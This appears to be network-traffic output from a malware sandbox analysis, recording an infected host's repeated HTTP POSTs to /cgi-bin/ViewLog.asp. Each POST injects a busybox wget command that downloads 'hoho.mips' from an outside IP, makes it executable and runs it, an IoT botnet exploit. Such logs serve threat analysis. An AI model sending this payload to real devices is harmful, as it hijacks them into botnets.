20 47 6d 62 48 22 20 74 69 74 6c 65 3d 22 4d 44 54 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 47 6d 62 48 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 4b 4e 58 2d 49 50 20 49 6e 74 65 72 66 61 63 65 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 6e 61 76 22 3e 3c 64 69 76 20 69 64 3d 22 6e 61 76 68 22 3e 3c 2f 64 69 76 3e 0a 3c 75 6c 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 73 68 74 6d 6c 22 3e 44 65 76 69 63 65 20 49 6e 66 6f 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6b 6e 78 2e 73 68 74 6d 6c 22 3e 50 72 6f 67 2e 20 4d 6f 64 65 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 65 6d 61 69 6c 2e 73 68 74 6d 6c 22 3e 45 6d 61 69 6c 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6e 74 70 2e 73 68 74 6d 6c 22 3e 54 69 6d 65 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 75 70 64 61 74 65 2e 73 68 74 6d 6c 22 3e 46 69 72 6d 77 61 72 65 20 55 70 64 61 74 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 3c 2f 70 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 22 3e 0a 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 70 61 73 73 77 6f 72 64 2e 63 67 69 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 61 63 63 65 70 74 2d 63 68 61 72 73 65 74 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0a 3c 74 61 62 6c 65 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 31 30 22 3e 0a 3c 74 72 3e 3c 74 68 3e 59 6f 75 20 68 61 76 65 20 74 6f 20 6c 6f 67 69 6e 20 74 6f 20 73 65 65 20 74 68 69 73 20 70 61 67 65 21 3c 2f 74 68 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 64 3e 50 61 73 73 77 6f 72 64 3c 2f 74 64 3e 3c 74 64 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 6e 61 6d 65 3d 22 70 61 73 73 77 6f 72 64 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 30 22 20 77 69 64 74 68 3d 22 34 30 30 22 76 61 6c 75 65 3d 22 22 3e 3c 2f 74 64 3e 3c 74 64 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 64 3e 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 4c 6f 67 69 6e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 74 72 3e 3c 2f 74 64 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"><html><head><meta http-equiv="refresh" content=""><title>MDT Technologies GmbH - KNX-IP Interface</title><link rel="stylesheet" type="text/css" href="gft.css"/><link rel="Shortcut icon" href="img/favicon.ico" type="image/x-icon"/></head><body><div id="logo"><a href="http://www.mdt.de" ><img src="img/logo.gif" border = "0" alt="MDT Technologies GmbH" title="MDT Technologies GmbH"/></a></div><div id="header">KNX-IP Interface</div><div id="nav"><div id="navh"></div><ul><li><a href="/index.shtml">Device Info</a></li><li><a href="/knx.shtml">Prog. Mode</a></li><li><a href="/email.shtml">Email</a></li><li><a href="/ntp.shtml">Time</a></li><li><a href="/update.shtml">Firmware Update</a></li></ul></div><p align="right"></p><div id="con"> <form action="/password.cgi" method="get" autocomplete="off" accept-charset="ISO-8859-1"><table cellpadding="10"><tr><th>You have to login to see this page!</th></tr><tr><td>Password</td><td><input type="password" name="password" maxlength="60" width="400"value=""></td><td></td></tr><tr><td><button type="submit">Login</button></tr></td>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	59776	31.40.225.178	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.591821909 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.807804108 CET	1340	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 03:46:18 GMT Content-Type: text/html Content-Length: 3167 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	35316	94.122.220.247	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.597995996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	49012	94.121.187.40	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.603049040 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	47346	94.120.46.20	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.605000019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	35272	94.120.211.204	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.612689018 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	49020	94.121.68.65	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.636435032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	45976	62.122.172.213	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.738153934 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	40430	31.136.116.231	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.746592045 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:26.310664892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:27.430866003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:29.830621004 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:34.438664913 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:43.398606062 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:01.062547922 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:37.926470041 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	59900	95.163.215.243	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.785316944 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	44628	95.163.16.79	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:25.801556110 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
